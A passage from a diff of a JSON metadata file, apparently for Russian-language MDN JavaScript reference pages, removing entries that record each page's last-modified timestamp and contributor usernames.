"contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/ReferenceError": { - "modified": "2020-10-15T21:30:26.550Z", - "contributors": [ - "dima74", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype": { - "modified": "2019-03-23T23:08:22.399Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Reflect": { - "modified": "2020-11-08T07:48:53.681Z", - "contributors": [ - "parabolabam", - "bakugod", - "Chank1e", - "SphinxKnight", - "Synthesize", - "rajdee", - "C`est la vie" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Reflect/apply": { - "modified": "2020-10-15T22:01:47.478Z", - "contributors": [ - "HarmlessEvil" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Reflect/construct": { - "modified": "2020-10-15T22:19:59.737Z", - "contributors": [ - "bakugod" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty": { - "modified": "2020-10-15T22:19:53.301Z", - "contributors": [ - "bakugod" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty": { - "modified": "2020-10-15T22:19:49.053Z", - "contributors": [ - "bakugod" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Reflect/get": { - "modified": "2020-10-15T22:01:46.509Z", - "contributors": [ - "HarmlessEvil" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys": { - "modified": "2020-10-15T22:05:30.827Z", - "contributors": [ - "ArturJS" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp": { - "modified": "2020-08-25T20:36:26.657Z", - "contributors": [ - "duduindo", - "etonomick", - "needpower", - "username1565", - "PavelKoroteev", - "Zizes", - "kaifonaft", - "wbamberg", - "Express2000", - "WispProxy", - "bobanko", - "sashatexb", - "Grundy", - "dstereo", - "socketpair", - "Hulio", - "Mingun", - "KiraAndMaxim", - "rhyne24" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/@@search": { - "modified": "2020-10-15T22:00:22.795Z", - "contributors": [ - "fax1ty" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/@@split": { - "modified": "2020-10-15T22:05:39.755Z", - "contributors": [ - "0x0071" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/exec": { - "modified": "2019-10-03T07:10:20.564Z", - "contributors": [ - "Haosik", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/flags": { - "modified": "2019-03-23T23:03:48.545Z", - "contributors": [ - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/global": { - "modified": "2019-03-23T23:03:48.212Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase": { - "modified": "2019-03-23T23:03:53.037Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/input": { - "modified": "2020-10-15T22:21:51.345Z", - "contributors": [ - "gudkovdanila" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex": { - "modified": "2019-03-23T23:03:47.604Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch": { - "modified": "2020-10-15T22:21:50.708Z", - "contributors": [ - "zoodogood", - "gudkovdanila" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/multiline": { - "modified": "2019-03-23T23:03:46.419Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/n": { - "modified": "2020-10-15T21:54:34.887Z", - "contributors": [ - "ekirpichyov", - "teoli", - "yulllll", - "Mihail15", - "KamilOcean" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/prototype": { - "modified": "2019-03-23T23:05:56.982Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/source": { - "modified": "2020-05-04T10:45:02.263Z", - "contributors": [ - "ellizii", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/sticky": { - "modified": "2019-03-23T23:03:51.760Z", - "contributors": [ - "SphinxKnight", - "serj-by", - "WispProxy", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/test": { - "modified": "2020-05-25T03:11:01.471Z", - "contributors": [ - "SphinxKnight", - "pohuyebawtak", - "Glazomer", - "waterplea", - "Mingun", - "InoY" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/toSource": { - "modified": "2019-08-27T16:00:03.262Z", - "contributors": [ - "Yialo", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/toString": { - "modified": "2019-03-23T23:03:38.400Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp/unicode": { - "modified": "2020-10-15T22:03:35.958Z", - "contributors": [ - "PROPHESSOR" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Set": { - "modified": "2020-10-15T21:31:17.149Z", - "contributors": [ - "andrew_shr", - "YozhEzhi", - "kan.a", - "SphinxKnight", - "dima74", - "papadima", - "vibecode", - "ViZhe", - "dtretyakov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Set/Set": { - "modified": "2020-12-07T09:25:28.434Z", - "contributors": [ - "SphinxKnight", - "knatysik" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Set/add": { - "modified": "2020-10-15T22:03:24.314Z", - "contributors": [ - "Siteograf" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Set/clear": { - "modified": "2020-10-15T21:58:59.279Z", - "contributors": [ - "dima74" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Set/delete": { - "modified": "2020-10-15T22:04:59.296Z", - "contributors": [ - "ekirpichyov", - "ArmoGidec" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Set/entries": { - "modified": "2020-10-15T22:22:34.627Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Set/forEach": { - "modified": "2020-10-15T22:18:01.267Z", - "contributors": [ - "TatarovAE", - "boulderboy" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Set/has": { - "modified": "2020-10-15T22:10:52.073Z", - "contributors": [ - "raylyanway" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Set/prototype": { - "modified": "2020-10-15T22:08:32.198Z", - "contributors": [ - "AndreyGlyan", - "qqwweeaassdd", - "paramoshkinandrew" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Set/size": { - "modified": "2020-10-15T22:22:51.490Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Set/values": { - "modified": "2020-10-15T22:22:36.094Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer": { - "modified": "2019-03-23T22:09:27.484Z", - "contributors": [ - "nikolaysalinder", - "scilganon", - "curdwithraisins" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String": { - "modified": "2020-11-19T06:55:56.629Z", - "contributors": [ - "liubov", - "mangl-auf", - "boxa6", - "wbamberg", - "an2323", - "IvanMorkva", - "Mingun", - "fobo66", - "teoli", - "ethertank" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/@@iterator": { - "modified": "2020-10-14T10:03:26.063Z", - "contributors": [ - "scrum", - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/Trim": { - "modified": "2019-03-23T23:11:20.382Z", - "contributors": [ - "KiraAndMaxim", - "Mingun", - "Ajooluz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/TrimLeft": { - "modified": "2019-03-23T23:06:19.542Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/TrimRight": { - "modified": "2019-03-23T23:06:21.966Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/anchor": { - "modified": "2019-03-18T20:48:46.079Z", - "contributors": [ - "risenforces", - "DenVdmj", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/big": { - "modified": "2019-03-23T23:06:53.527Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/blink": { - "modified": "2019-03-23T23:06:56.834Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/bold": { - "modified": "2019-03-23T23:06:52.878Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/charAt": { - "modified": "2019-09-05T08:52:29.623Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/charCodeAt": { - "modified": "2019-10-10T16:47:08.723Z", - "contributors": [ - "WispProxy", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/codePointAt": { - "modified": "2019-03-23T23:06:49.782Z", - "contributors": [ - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/concat": { - "modified": "2019-03-23T23:06:50.258Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/endsWith": { - "modified": "2020-11-30T13:19:02.930Z", - "contributors": [ - "vedmaque", - "viktishchenko", - "SphinxKnight", - "burashka", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/fixed": { - "modified": "2019-03-23T23:06:56.996Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/fontcolor": { - "modified": "2019-03-23T23:06:53.696Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/fontsize": { - "modified": "2019-03-23T23:06:55.867Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/fromCharCode": { - "modified": "2020-02-26T00:26:26.501Z", - "contributors": [ - "kurbanovjasur", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/fromCodePoint": { - "modified": "2019-03-23T23:07:12.216Z", - "contributors": [ - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/includes": { - "modified": "2020-10-15T21:31:11.231Z", - "contributors": [ - "Therrance", - "fscholz", - "dima74", - "PetrBorisov", - "kdex", - "burashka", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/indexOf": { - "modified": "2019-04-10T16:45:26.467Z", - "contributors": [ - "danielvinogradov", - "expeerd", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/italics": { - "modified": "2019-03-23T23:06:57.747Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/lastIndexOf": { - "modified": "2019-03-23T23:06:47.724Z", - "contributors": [ - "expeerd", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/length": { - "modified": "2019-03-23T23:07:11.163Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/link": { - "modified": "2019-03-23T23:06:52.727Z", - "contributors": [ - "RumyantsevMichael", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/localeCompare": { - "modified": "2019-03-23T23:06:31.683Z", - "contributors": [ - "ovvn", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/match": { - "modified": "2019-08-27T15:10:06.292Z", - "contributors": [ - "Yialo", - "ArmoGidec", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/matchAll": { - "modified": "2020-10-15T22:15:55.263Z", - "contributors": [ - "atmobox66", - "Yialo", - "nakhodkiin" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/normalize": { - "modified": "2019-08-27T15:13:41.527Z", - "contributors": [ - "Yialo", - "Seresigo", - "borschsergey", - "SphinxKnight", - "Metotron", - "Mingun", - "dtretyakov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/padEnd": { - "modified": "2019-08-27T15:13:11.473Z", - "contributors": [ - "Yialo", - "teoli", - "a-chepugov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/padStart": { - "modified": "2020-10-15T21:55:08.745Z", - "contributors": [ - "Yialo", - "vladimircreative", - "wa-Nadoo", - "timbset" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/prototype": { - "modified": "2019-08-27T15:11:15.337Z", - "contributors": [ - "Yialo", - "EugeneTarasenko", - "ukrlex01", - "arctic-hare", - "webnarmin", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/raw": { - "modified": "2019-03-23T23:06:30.098Z", - "contributors": [ - "SphinxKnight", - "oleg_s", - "Mingun", - "dtretyakov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/repeat": { - "modified": "2020-10-15T21:31:18.222Z", - "contributors": [ - "KTatyana", - "Mingun", - "dtretyakov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/replace": { - "modified": "2020-10-15T21:24:19.735Z", - "contributors": [ - "YozhEzhi", - "dimakovalevskyi", - "igorkusoff", - "Mingun", - "Lambrusco.pro", - "teoli", - "andrey_d" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/replaceAll": { - "modified": "2020-10-15T22:34:38.094Z", - "contributors": [ - "GuyFox70" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/search": { - "modified": "2019-10-03T07:09:20.235Z", - "contributors": [ - "Glazomer", - "nakhodkiin", - "atna", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/slice": { - "modified": "2020-12-02T04:52:58.834Z", - "contributors": [ - "inva8de", - "bestwebdeveloper", - "Andrii-Oleksyshyn", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/small": { - "modified": "2019-03-23T23:06:51.754Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/split": { - "modified": "2020-11-30T06:21:03.966Z", - "contributors": [ - "DarkGoanna", - "Ect0PzG4m1ng", - "IgorSkvortsov", - "bruha", - "terranisu", - "Mingun", - "FRiMN" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/startsWith": { - "modified": "2020-10-15T21:31:11.246Z", - "contributors": [ - "ilyasidorchik", - "viktishchenko", - "Simaleon", - "dmitryorly", - "SphinxKnight", - "AtataUruru", - "burashka", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/strike": { - "modified": "2019-09-05T08:52:44.580Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/sub": { - "modified": "2019-03-23T23:07:01.566Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/substr": { - "modified": "2020-10-15T21:31:19.515Z", - "contributors": [ - "art-gur", - "lugovov", - "Halkyon", - "fscholz", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/substring": { - "modified": "2019-03-23T23:06:24.574Z", - "contributors": [ - "Barkhat26", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/sup": { - "modified": "2019-03-23T23:06:59.702Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/toLocaleLowerCase": { - "modified": "2019-03-23T23:06:20.649Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/toLocaleUpperCase": { - "modified": "2019-03-23T23:06:18.129Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/toLowerCase": { - "modified": "2019-03-23T23:06:20.814Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/toSource": { - "modified": "2019-03-23T23:06:17.942Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/toString": { - "modified": "2019-03-23T23:06:15.157Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/toUpperCase": { - "modified": "2019-03-23T23:06:22.989Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/valueOf": { - "modified": "2019-05-17T04:11:09.851Z", - "contributors": [ - "dankochetov", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol": { - "modified": "2020-10-15T21:30:42.254Z", - "contributors": [ - "mux-mux", - "boxa6", - "pk.prog", - "smurf", - "neutral", - "schyzoo" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/@@toPrimitive": { - "modified": "2020-10-15T22:24:20.085Z", - "contributors": [ - "faramozzayw" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/for": { - "modified": "2019-03-23T22:50:59.073Z", - "contributors": [ - "SphinxKnight", - "neutral" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance": { - "modified": "2020-10-15T21:56:25.834Z", - "contributors": [ - "boxa6", - "vitaliylag", - "shlangus" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/isConcatSpreadable": { - "modified": "2019-03-23T22:10:03.691Z", - "contributors": [ - "Samotugo" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/iterator": { - "modified": "2019-03-23T22:50:51.621Z", - "contributors": [ - "SphinxKnight", - "neutral" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/keyFor": { - "modified": "2020-10-15T21:50:47.387Z", - "contributors": [ - "boxa6", - "nakhodkiin", - "Ohar" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/match": { - "modified": "2019-03-23T22:50:55.400Z", - "contributors": [ - "SphinxKnight", - "neutral" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/prototype": { - "modified": "2019-03-23T22:50:51.135Z", - "contributors": [ - "SphinxKnight", - "neutral" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/replace": { - "modified": "2019-04-02T08:34:58.523Z", - "contributors": [ - "shlangus" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/search": { - "modified": "2020-10-15T22:00:25.665Z", - "contributors": [ - "fax1ty" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/species": { - "modified": "2019-03-23T22:50:55.253Z", - "contributors": [ - "nakhodkiin", - "pk.prog", - "neutral" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/split": { - "modified": "2020-10-15T22:05:40.003Z", - "contributors": [ - "0x0071" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive": { - "modified": "2020-10-15T21:55:06.866Z", - "contributors": [ - "boxa6", - "nakhodkiin", - "gibson" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/toStringTag": { - "modified": "2020-10-15T22:22:55.953Z", - "contributors": [ - "vkorzhova" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/unscopables": { - "modified": "2020-10-15T22:00:25.901Z", - "contributors": [ - "fax1ty" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/valueOf": { - "modified": "2019-03-23T22:50:49.481Z", - "contributors": [ - "SphinxKnight", - "neutral" - ] - }, - "Web/JavaScript/Reference/Global_Objects/SyntaxError": { - "modified": "2019-03-23T23:08:27.309Z", - "contributors": [ - "VladimirDeminenko", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype": { - "modified": "2019-03-23T23:08:31.199Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/TypeError": { - "modified": "2020-10-15T21:30:28.885Z", - "contributors": [ - "Roman-Kosov", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/TypeError/prototype": { - "modified": "2019-03-23T23:08:29.800Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/TypedArray": { - "modified": "2020-10-15T21:48:29.544Z", - "contributors": [ - "pk.prog", - "arai" - ] - }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/@@species": { - "modified": "2019-03-23T22:25:44.388Z", - "contributors": [ - "pk.prog" - ] - }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT": { - "modified": "2019-03-23T22:25:40.817Z", - "contributors": [ - "pk.prog" - ] - }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/join": { - "modified": "2019-03-23T22:26:41.183Z", - "contributors": [ - "pk.prog" - ] - }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/prototype": { - "modified": "2020-10-15T21:49:43.029Z", - "contributors": [ - "pk.prog" - ] - }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/set": { - "modified": "2019-03-23T22:28:36.546Z", - "contributors": [ - "Mototroller", - "dickclaus" - ] - }, - "Web/JavaScript/Reference/Global_Objects/URIError": { - "modified": "2019-03-23T23:08:25.974Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/URIError/prototype": { - "modified": "2019-03-23T23:08:26.327Z", - "contributors": [ - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Uint16Array": { - "modified": "2020-10-15T21:59:37.871Z", - "contributors": [ - "pk.prog" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Uint32Array": { - "modified": "2020-10-15T21:59:38.707Z", - "contributors": [ - "pk.prog" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Uint8Array": { - "modified": "2020-10-15T21:59:38.914Z", - "contributors": [ - "MuradAz", - "pk.prog" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray": { - "modified": "2019-03-18T21:10:47.382Z", - "contributors": [ - "InoY", - "tz4678" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WeakMap": { - "modified": "2020-10-15T21:33:46.571Z", - "contributors": [ - "oleksandrstarov", - "altpoint", - "lexxl", - "YozhEzhi", - "kan.a", - "icw82", - "zamuka", - "RumyantsevMichael", - "casfcitizen", - "restrry", - "shvaikalesh", - "hellboy81" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/clear": { - "modified": "2019-03-23T22:45:00.856Z", - "contributors": [ - "teoli", - "WispProxy", - "casfcitizen" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/delete": { - "modified": "2019-03-23T22:44:55.757Z", - "contributors": [ - "SphinxKnight", - "casfcitizen" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/get": { - "modified": "2019-03-23T22:44:52.022Z", - "contributors": [ - "SphinxKnight", - "casfcitizen" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/has": { - "modified": "2019-03-23T22:44:53.494Z", - "contributors": [ - "SphinxKnight", - "casfcitizen" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/prototype": { - "modified": "2020-10-15T22:08:59.129Z", - "contributors": [ - "kan.a" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/set": { - "modified": "2019-03-23T22:44:54.866Z", - "contributors": [ - "SphinxKnight", - "casfcitizen" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WeakSet": { - "modified": "2020-10-15T21:46:04.634Z", - "contributors": [ - "YozhEzhi", - "stRavens", - "fscholz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WeakSet/add": { - "modified": "2020-10-15T21:46:05.423Z", - "contributors": [ - "YozhEzhi", - "stRavens" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WeakSet/delete": { - "modified": "2019-03-23T22:33:36.783Z", - "contributors": [ - "stRavens" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WeakSet/has": { - "modified": "2019-03-23T22:33:37.092Z", - "contributors": [ - "stRavens" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WeakSet/prototype": { - "modified": "2019-03-23T22:33:26.886Z", - "contributors": [ - "stRavens" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly": { - "modified": "2019-03-23T22:09:24.539Z", - "contributors": [ - "warsan", - "Fingasss", - "curdwithraisins" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/Table": { - "modified": "2020-10-15T22:28:03.728Z", - "contributors": [ - "amuzalevskiy" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/compile": { - "modified": "2020-10-15T22:05:22.747Z", - "contributors": [ - "warsan" - ] - }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming": { - "modified": "2020-10-15T22:05:24.687Z", - "contributors": [ - "warsan" - ] - }, - "Web/JavaScript/Reference/Global_Objects/decodeURI": { - "modified": "2020-10-15T21:36:41.028Z", - "contributors": [ - "boxa6", - "KTatyana", - "dimon.durak" - ] - }, - "Web/JavaScript/Reference/Global_Objects/decodeURIComponent": { - "modified": "2020-10-15T21:32:41.332Z", - "contributors": [ - "boxa6", - "KTatyana", - "hellboy81" - ] - }, - "Web/JavaScript/Reference/Global_Objects/encodeURI": { - "modified": "2020-10-15T21:32:41.734Z", - "contributors": [ - "CoruNethron", - "boxa6", - "gvammer", - "RuslanKurtjanyk", - "BychekRU", - "johniek" - ] - }, - "Web/JavaScript/Reference/Global_Objects/encodeURIComponent": { - "modified": "2020-03-12T19:42:09.083Z", - "contributors": [ - "ivanson", - "SlavaJan", - "alx-khramov", - "redveronika", - "BychekRU" - ] - }, - "Web/JavaScript/Reference/Global_Objects/escape": { - "modified": "2020-03-12T19:42:22.847Z", - "contributors": [ - "L-st" - ] - }, - "Web/JavaScript/Reference/Global_Objects/eval": { - "modified": "2020-10-15T21:36:50.892Z", - "contributors": [ - "teleskop150750", - "rookhive", - "nochnoy", - "boxa6", - "Kassaila", - "Mumin0v", - "Stejok", - "lazy-code", - "Kesantielu", - "pankov", - "BychekRU", - "KTatyana", - "Bogdan92" - ] - }, - "Web/JavaScript/Reference/Global_Objects/globalThis": { - "modified": "2020-10-15T22:22:38.335Z", - "contributors": [ - "almaceleste", - "ekirpichyov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/isFinite": { - "modified": "2020-10-15T21:34:22.861Z", - "contributors": [ - "boxa6", - "pk.prog", - "keepon99", - "RinatMullayanov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/isNaN": { - "modified": "2020-10-15T21:18:00.962Z", - "contributors": [ - "boxa6", - "deadem", - "arogachev", - "DrTantal", - "toxahak", - "igor4949i", - "torbasow", - "SphinxKnight", - "fscholz", - "Troynov", - "teoli", - "Dionys", - "Sheppy" - ] - }, - "Web/JavaScript/Reference/Global_Objects/null": { - "modified": "2020-10-15T21:29:52.036Z", - "contributors": [ - "yar85", - "YozhEzhi", - "boxa6", - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/parseFloat": { - "modified": "2020-10-15T21:31:40.524Z", - "contributors": [ - "boxa6", - "iota77", - "zhvirblis", - "pk.prog", - "KTatyana", - "schoonc", - "PC-Contra" - ] - }, - "Web/JavaScript/Reference/Global_Objects/parseInt": { - "modified": "2020-10-15T21:31:24.544Z", - "contributors": [ - "boxa6", - "pk.prog", - "Natalya_Surikova", - "KTatyana", - "Acknowhow", - "oshilan", - "raspberry59" - ] - }, - "Web/JavaScript/Reference/Global_Objects/undefined": { - "modified": "2020-10-15T21:29:55.851Z", - "contributors": [ - "almaceleste", - "boxa6", - "YozhEzhi", - "sasd97", - "SphinxKnight", - "Mingun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/unescape": { - "modified": "2020-03-12T19:40:42.425Z", - "contributors": [ - "Mishman" - ] - }, - "Web/JavaScript/Reference/Global_Objects/uneval": { - "modified": "2020-10-15T21:32:06.154Z", - "contributors": [ - "boxa6", - "teoli", - "maxbarbul", - "fscholz", - "Correcter" - ] - }, - "Web/JavaScript/Reference/Iteration_protocols": { - "modified": "2020-03-12T19:40:23.617Z", - "contributors": [ - "Ostanioni", - "AliaksandrZahorski", - "nikolai-shabalin", - "SphinxKnight", - "asaskevich", - "petanisimov", - "fscholz", - "hindmost" - ] - }, - "Web/JavaScript/Reference/Lexical_grammar": { - "modified": "2020-10-09T04:21:50.644Z", - "contributors": [ - "demid.kopan", - "salaiyuliya", - "almaceleste", - "uxenus", - "Vukto", - "maxno62", - "Pandemoniumus", - "AlexeyVasilievE", - "glum-psyche", - "ValdemarTerte", - "kdex", - "pk.prog", - "Frenk1", - "MichaelBag", - "gremlinLee" - ] - }, - "Web/JavaScript/Reference/Operators": { - "modified": "2020-03-12T19:38:03.910Z", - "contributors": [ - "the-toxic", - "pk.prog", - "SphinxKnight", - "teoli", - "Mingun", - "ethertank" - ] - }, - "Web/JavaScript/Reference/Operators/Addition": { - "modified": "2020-10-15T22:31:44.228Z", - "contributors": [ - "DarkExodusXX", - "Lifamen" - ] - }, - "Web/JavaScript/Reference/Operators/Addition_assignment": { - "modified": "2020-10-15T22:33:40.126Z", - "contributors": [ - "DarkExodusXX" - ] - }, - "Web/JavaScript/Reference/Operators/Arithmetic_Operators": { - "modified": "2020-10-15T21:14:39.538Z", - "contributors": [ - "Nichon4", - "fscholz", - "wbamberg", - "MedvedevWeb", - "kachid", - "shark_ate_my_shorts", - "ktsabolov", - "BychekRU", - "Anthelion", - "Aleksej", - "teoli", - "Dionys", - "karasiov" - ] - }, - "Web/JavaScript/Reference/Operators/Assignment_Operators": { - "modified": "2020-03-12T19:39:48.712Z", - "contributors": [ - "JasonRammoray", - "Piterden", - "Siteograf", - "AlexChuev", - "dtretyakov", - "SphinxKnight", - "BurkovBA" - ] - }, - "Web/JavaScript/Reference/Operators/Bitwise_AND": { - "modified": "2020-10-19T04:55:04.550Z", - "contributors": [ - "elkabelaya" - ] - }, - "Web/JavaScript/Reference/Operators/Bitwise_Operators": { - "modified": "2020-03-12T19:37:00.110Z", - "contributors": [ - "CoruNethron", - "kss555", - "joezavtra", - "d1soft", 